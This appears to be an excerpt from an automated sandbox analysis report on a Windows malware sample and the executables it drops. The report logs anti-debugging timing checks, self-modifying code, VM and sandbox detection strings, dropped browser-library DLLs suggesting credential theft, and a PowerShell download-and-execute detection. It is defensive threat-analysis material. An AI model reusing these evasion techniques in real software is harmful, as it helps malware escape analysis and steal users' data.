Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D00A23 second address: D00A3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FF0BC8515D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D00A3B second address: D00A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 js 00007FF0BCB462B6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D00D96 second address: D00D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D01F40 second address: D01F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D039CA second address: D039CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D08042 second address: D0806A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF0BCB462C5h 0x00000008 jmp 00007FF0BCB462BFh 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007FF0BCB462B6h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0806A second address: D08079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0BC8515D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D08079 second address: D08081 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D08081 second address: D08088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0C7D5 second address: D0C7F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0C7F5 second address: D0C7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: CCB8DB second address: CCB8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0BEB1 second address: D0BED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF0BC8515D6h 0x0000000e jmp 00007FF0BC8515E9h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0BED8 second address: D0BEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0C4DF second address: D0C4EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007FF0BC8515D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0C4EB second address: D0C505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF0BCB462C4h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0C6AC second address: D0C6BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DAh 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0F99D second address: D0F9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0F9A3 second address: D0F9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jl 00007FF0BC8515EEh 0x00000013 jmp 00007FF0BC8515E8h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jnl 00007FF0BC8515D8h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D0F9DC second address: D0FA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edx 0x0000000b jmp 00007FF0BCB462C7h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007FF0BCB462C8h 0x0000001a pop eax 0x0000001b jmp 00007FF0BCB462BDh 0x00000020 push 71AA9882h 0x00000025 pushad 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D101D1 second address: D101DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0BC8515D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D10B3F second address: D10B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D10B43 second address: D10B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FF0BC8515D8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 movsx esi, di 0x00000027 xchg eax, ebx 0x00000028 jmp 00007FF0BC8515DAh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push edi 0x00000031 jmp 00007FF0BC8515E6h 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D110C7 second address: D110E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0BCB462C6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D11B44 second address: D11B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: D11B48 second address: D11B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5E933 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D01DB3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5C422 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2DB8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D93962 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: B5E933 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: D01DB3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: B5C422 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: D2DB8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: D93962 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Special instruction interceptor: First address: 8A3B15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Special instruction interceptor: First address: 8A3BBD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Special instruction interceptor: First address: A4D06A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Special instruction interceptor: First address: A70591 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Special instruction interceptor: First address: ACF690 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Special instruction interceptor: First address: 6D3B15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Special instruction interceptor: First address: 6D3BBD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Special instruction interceptor: First address: 87D06A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Special instruction interceptor: First address: 8A0591 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Special instruction interceptor: First address: 8FF690 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054E0C1C rdtsc

0_2_054E0C1C

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe

Window / User API: threadDelayed 2064

Jump to behavior

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

API coverage: 0.3 %

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7736	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7732	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7732	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7696	Thread sleep count: 274 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7696	Thread sleep time: -8220000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7720	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7812	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7712	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7712	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7728	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7716	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7716	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7696	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe TID: 8000	Thread sleep count: 116 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe TID: 8000	Thread sleep time: -696000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe TID: 8168	Thread sleep count: 2064 > 30	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe

Thread sleep count: Count: 2064 delay: -10

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C8EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

7_2_6C8EC930

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: explorti.exe, explorti.exe, 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmp, eb98fe5174.exe, eb98fe5174.exe, 00000007.00000002.2620268585.0000000000A2C000.00000040.00000001.01000000.00000009.sdmp, 53c7d901f1.exe, 00000008.00000002.2648279906.000000000085C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1732026554.0000000001624000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: explorti.exe, 00000006.00000002.2882067749.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001023000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: file.exe, 00000000.00000002.1731373345.0000000000CE5000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1764865027.0000000000CE5000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000002.00000002.1765716826.0000000000CE5000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmp, eb98fe5174.exe, 00000007.00000002.2620268585.0000000000A2C000.00000040.00000001.01000000.00000009.sdmp, 53c7d901f1.exe, 00000008.00000002.2648279906.000000000085C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: explorti.exe, 00000006.00000002.2882067749.0000000001579000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(l

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_054E0621 Start: 054E0A73 End: 054E05E9

6_2_054E0621

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	File opened: SICE
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054E0C1C rdtsc

0_2_054E0C1C

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C935FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

7_2_6C935FF0

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

7_2_6C8D3480

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B2645B mov eax, dword ptr fs:[00000030h]		6_2_00B2645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00B2A1C2 mov eax, dword ptr fs:[00000030h]		6_2_00B2A1C2

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C90B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_6C90B66C
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C90B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6C90B1F7
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CABAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_6CABAC62

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 53c7d901f1.exe PID: 7996, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
